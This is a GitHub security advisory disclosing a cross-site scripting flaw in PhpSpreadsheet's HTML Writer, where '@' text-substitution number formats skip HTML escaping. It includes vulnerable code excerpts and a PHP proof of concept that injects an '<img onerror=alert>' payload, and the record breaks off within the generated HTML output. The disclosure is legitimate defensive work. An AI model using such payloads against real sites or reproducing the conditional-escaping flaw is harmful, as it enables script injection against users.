GitHub Security Advisory: GHSA-6wpp-88cp-7q68
Package: phpoffice/phpspreadsheet (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Vulnerable versions: >= 3.3.0, <= 3.10.4
Patched in: 3.10.5

Summary: PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer

Details:
### Summary
The HTML Writer in PhpSpreadsheet bypasses `htmlspecialchars()` output escaping when a cell uses a custom number format containing the `@` text placeholder with additional literal text (e.g., `@ "items"` or `"Total: "@`). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.

### Details


#### 1. Conditional escaping in `Html.php:1586-1594`

```php
$cellData = NumberFormat::toFormattedString(
    $origData2,
    $formatCode ?? NumberFormat::FORMAT_GENERAL,
    [$this, 'formatColor']
);

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}
```

`htmlspecialchars()` is only called when `$cellData === $origData` (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.

#### 2. Early return in `Formatter.php:136-152`

```php
if (preg_match(self::SECTION_SPLIT, $format) === 0
    && preg_match(self::SYMBOL_AT, $formatx) === 1) {
    if (!str_contains($format, '"')) {
        return str_replace('@', /* raw value */, $format);
    }
    return str_replace(/* ... preg_replace with raw value ... */);
}
```

When the format code contains `@` with additional literal text (e.g., `@ "items"`), the formatter substitutes the raw cell value into the format string and **returns early** — the `formatColor` callback (which would have applied `htmlspecialchars`) is never invoked.


### PoC

**test.php**
``` php
<?php

require '/app/vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

$payload    = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';


$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);

$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();

file_put_contents('/app/output.html', $html);

echo "HTML output saved to /app/output.html\n";
```

The produced output contains unescaped data.
``` html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
      <title>Untitled Spreadsheet</title>
      <meta name="author" content="Unknown Creator" />
      <meta name="title" content="Untitled Spreadsheet" />
      <meta name="lastModifiedBy" content="Unknown Creator" />
      <meta name="created" content="2026-04-02T16:34:44+00:00" />
      <meta name="modified" content="2026-04-02T16:34:44+00:00" />
    <style type="text/css">
[..SNIP..]
    </style>
  </head>

  <body>
<div style='page: page0'>
    <table border='0' cellpadding='0' cellspacing='0' id='shee